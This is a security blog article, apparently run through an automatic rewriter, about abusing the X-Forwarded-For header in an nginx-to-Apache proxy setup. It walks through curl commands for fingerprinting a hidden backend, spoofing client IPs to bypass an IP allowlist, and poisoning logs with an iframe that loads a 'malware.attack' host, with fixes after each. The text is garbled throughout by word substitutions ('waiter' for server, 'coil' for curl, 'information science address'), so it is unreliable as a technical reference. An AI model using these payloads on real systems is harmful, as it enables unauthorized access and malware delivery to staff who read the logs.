HTTP header : X-Forwarded-For ( XFF ) was primitively introduced by a team of developers responsible for developing the Squid waiter as a method acting of identifying the original IP address of the customer that connects to the web waiter through another proxy server or burden balancer. Without using XFF or any early alike technique, any proxy connection would leave only the IP address that comes from the proxy itself, turning it into an anonymising service for clients. Thanks to this, detecting and preventing unauthorized access would be much more unmanageable than transferring information about the IP address from which the request was made .
The utility of X-Forwarded-For depends on the proxy server, which, in reality, should pass the IP address of the connect customer. For this reason, servers behind proxies must know which ones are “ trustworthy. ” Unfortunately, sometimes even that is not enough. I will try to show why we should not blindly trust the values coming from this header .
Below is an case configuration on which we will carry out tests :
Fig. 1 Test configuration
The layout is quite popular and found on the Internet. It starts with an nginx waiter, acting as a proxy/load-balancer ( replacement may be Haproxy or Varnish ) for the Apache server that can handle any application in PHP. We can manage equally well with a clean application, listening on any port. The nginx server configuration is as follows :

Fig. 2 Configuration of the nginx server
In the Apache waiter, apart from the criterion directives, there have not been many changes. only the module, supporting the overwrite of the customer ’ s IP address, has been activated and will be forwarded by our proxy :
Fig. 3 Configuration of the Apache server

Tests

1. Fingerprinting backend and more

Let ’ s assume that our proxy server effectively removes all headers such as Server, X-Powered-by, Via, etc., thus trying to hide the identity of your backend .
How can we use the X-Forwarded-For header to reveal a “ hide ” server ? We must create an unexpected error. The fastest way to do this is by exceeding the allowable size of the header ( a draw of error 404/403 type pages are personalized, but the most common error codes are normally in the standard version ) :

1

curl

v

XGET

header

‘X-Forwarded-For: %E2%82%AC%E2%82%AC%E2%82%AC%E2… ‘

http

:

/

/

ip

.

proxy

.

lub

.

domena

The characters, “ % E2 % 82 % AC % E2 % 82 % AC % ” ( we can use any other name like “ X ” here ), are repeated until they reach 8159 bytes in the salute case. With this length, in summation to the other values of the header, I have not exceeded 8K1, which is the size limit for our servers ( each server has its own restrict – just these versions of Apache and nginx have the same ). By making such a request, using the coil program, this is the consequence in the servers logs :

1 2 3 4

Proxy

:

202.205.111.1

[

24

/

Oct

/

2016

:

20

:

31

:

51

+

0200

]

“GET / HTTP/1.1”

200

0

“-“

“curl/7.43.0”

Backend

:

192.168.111.3

202.205.111.1

[

24

/

Oct

/

2016

:

20

:

31

:

51

+

0200

]

“GET / HTTP/1.0”

200

244

“-“

“curl/7.43.0”

The address, 202.205.111.1, is my node ’ s IP address. It was adequate, however, to add another byte ( 8160 ) to observe the concern phenomenon :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26

Proxy

:

202.205.111.1

[

24

/

Oct

/

2016

:

20

:

33

:

31

+

0200

]

“GET / HTTP/1.1”

400

389

“-“

“curl/7.43.0”

Backend

:

192.168.111.3

192.168.111.3

[

24

/

Oct

/

2016

:

20

:

33

:

31

+

0200

]

“GET / HTTP/1.0”

400

0

“-“

“-“

<

HTTP

/

1.1

400

Bad

Request

<

Server

:

nginx

/

1.10.0

(

Ubuntu

)

<

Date

:

Mon

,

24

Oct

2016

18

:

33

:

31

GMT

<

Content

Type

:

text

/

html

;

charset

=

iso

8859

1

<

Content

Length

:

389

<

Connection

:

keep

alive

<

<

!

DOCTYPE

HTML

PUBLIC

“-//IETF//DTD HTML 2.0//EN”

>

<

html

>

<

head

>

<

title

>

400

Bad

Request

<

/

title

>

<

/

head

>

<

body

>

<

h1

>

Bad

Request

<

/

h1

>

<

p

>

Your

browser

sent

a

request

that

this

server

could

not

understand

.

<

br

/

>

Size

of

a

request

header

field

exceeds

server

limit

.

<

br

/

>

<

pre

>

X

Forwarded

For

<

/

pre

>

<

/

p

>

<

hr

>

<

address

>

Apache

/

2.4.18

(

Ubuntu

)

Server

at

192.168.111.2

Port

80

<

/

address

>

<

/

body

>

<

/

html

>

The backend server itself revealed its identity to us, including a common 400 error in concert with the proxy. It is worth taking an interest in the trace – or quite its lack – in the case of the Apache server log. however, we do get the IP address of the proxy server twice – no clear identification of the customer. If the HTTP traffic logging was disabled on the proxy waiter for performance reasons, the customer ’ mho identity that causes errors is unaccountable for us. In orderliness to avoid this site, all you have to do is to set a smaller size limit of the headers on the proxy server so that the request that causes mistake 400 does not reach the other server at all .

2. Too wide network range

The remoteip faculty causes that. In the case of the log format, we are able to use the % a variable to log the node ’ s IP address in any order. It besides gives us the option to use the heading prize from the RemoteIPHeader set for authentication using the Requireip method acting. Let ’ s put restrictions on the way /var/www/html, allowing only one selected IP address .
Fig. 4 Apache server configuration – allowing one IP address
If we look close at the initial configuration of the Apache server ( Figure 3 ), we notice that the RemoteIPInternalxy choice has been set to the network mask – 24, not the specific address or addresses of hope proxy servers. In the event that the network security was breached by another groove and the attacker would take over the neighbor server, whose net address is in the crop 192.168.111.1-254, it gains the trust address, which can give the Apache waiter false customer IP addresses in ordering to get through to the protected resource :
Fig. 5. Apache server configuration – substitution of false IP addresses.
We do not even have to run a dedicated proxy server. A normal curl with a headline with the appropriate contentedness should confirm our theory :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

curl

v

XGET

http

:

/

/

192.168.111.2

H

‘X-Forwarded-For: 202.205.111.5’

*

Rebuilt

URL

to

:

http

:

/

/

192.168.111.2

/

*

Trying

192.168.111.2…

*

Connected

to

192.168.111.2

(

192.168.111.2

)

port

80

(

#0)

>

GET

/

HTTP

/

1.1

>

Host

:

192.168.111.2

>

User

Agent

:

curl

/

7.43.0

>

Accept

:

*

/

*

>

X

Forwarded

For

:

202.205.111.5

>

<

HTTP

/

1.1

200

OK

<

Date

:

Thu

,

27

Oct

2016

17

:

08

:

55

GMT

<

Server

:

Apache

/

2.4.18

(

Ubuntu

)

<

Last

Modified

:

Sun

,

23

Oct

2016

21

:

46

:

07

GMT

<

ETag

:

“0-53f8f33e3eb56”

<

Accept

Ranges

:

bytes

<

Content

Length

:

0

<

Content

Type

:

text

/

html

<

*

Connection

#0 to host 192.168.111.2 left intact

Pointing to a trust proxy, we should always define their specific addresses without leaving a margin in character that something might change in the future, so it ’ second better to include it in the configuration .

3. Spoofing and poisoning logs

Let ’ s examine the configuration of the nginx server, or more precisely, the option : $ proxy_add_x_forwarded_for. According to the documentation, if the proxy server receives an X-Forwarded-For header from the node in the request with a predefined value, then the measure of the client header plus what the proxy server will add – information science address of the node ( here the prize $ remote_addr ) – will be passed to the backend waiter. therefore, if the node sends an ten value, the proxy adds Y, the backend will receive both values separated by a comma : X-Forwarded-For : ten, Y. If the request goes through two proxy servers, the form of the header will be : X-Forwarded-For : customer, proxy1, proxy2, where proxy2 is treated as a outside request address. This shape is incorrect for one simple reason – our proxy is first to interact with the Internet, so there is no want for us to add user-defined values or other proxy servers .
Why is this threatening ? First of all : who said that the node must send an IP address ? Let ’ s assume that our server in the backend is a dim-witted lotion, without a remoteip faculty ( that is it accepts and log raw data, including XFF header values ), or an administrator, configuring the Apache server, merely set the log format according to the rule :

1

LogFormat

“%{X-Forwarded-For}i %l %u %t \”%r\” %>s %O \”%{Referer}i\” \”%{User-Agent}i\””

combined

Logs are normally archived and, before that, analyzed by versatile statistical systems. Most of them have web interfaces that present the results to the drug user. therefore if the attacker sends a request to our proxy :

1

curl

v

XGET

header

‘X-Forwarded-For:

http

:

/

/

ip

.

proxy

.

lub

.

domena

It will appear in the access_log file as :

1

<

iframe

src

=

/

/

malware

.

attack

>

,

202.205.111.1

[

27

/

Oct

/

2016

:

21

:

57

:

11

+

0200

]

“GET / HTTP/1.0”

403

468

“-“

“curl/7.43.0”

If the system for analyzing log does not correctly verify and filter dangerous data, then the user, along with reading the composition, will load malware in frame. The same applies to the circumvention of authentication : operating only on the pure value of this heading, be it in WWW servers or web applications. The node, arriving at the backend server with his own number of IP addresses, which is taken into report during authorization, can well fake and deceive the process. The error is fixed by replacing $ proxy_add_x_forwarded_for with $ remote_addr, which means that our proxy will only forward the client ’ s IP savoir-faire without paying attention to the former values .

Summary

The X-Forwarded-For header has been designed to identify clients that communicate with servers located behind a proxy. Since proxies are the “ eyes ” of such servers, they should not allow for the skew percept of world. The customer should not decide what should be included in this header, and the protect server should not blindly trust this contentedness. Intermediaries must, each time, check the being of such a header and erase and make or overwrite its contents with its own rules before forwarding the request. If we need to implement an access manipulate mechanism based on IP addresses, we should try to place it directly on the argumentation of touch with the client .
More
information:

phpBB do 2.0.8a Header Handler X-Forwarded-For spoof
X-Forwarded-For, proxies, and IPS
Footnotes:
1 hypertext transfer protocol : //github.com/koajs/koa/issues/479
2 hypertext transfer protocol : //nginx.org/en/docs/http/ngx_http_core_module.html # large_client_header_buffers
3 hypertext transfer protocol : //httpd.apache.org/docs/trunk/mod/mod_remoteip.html

4 hypertext transfer protocol : //pl.wikipedia.org/wiki/Iframe
5 hypertext transfer protocol : //shubs.io/enumerating-ips-in-x-forwarded-headers-to-bypass-403-restrictions/
6 hypertext transfer protocol : //blog.ircmaxell.com/2012/11/anatomy-of-attack-how-i-hacked.html

Leave a Reply

Your email address will not be published.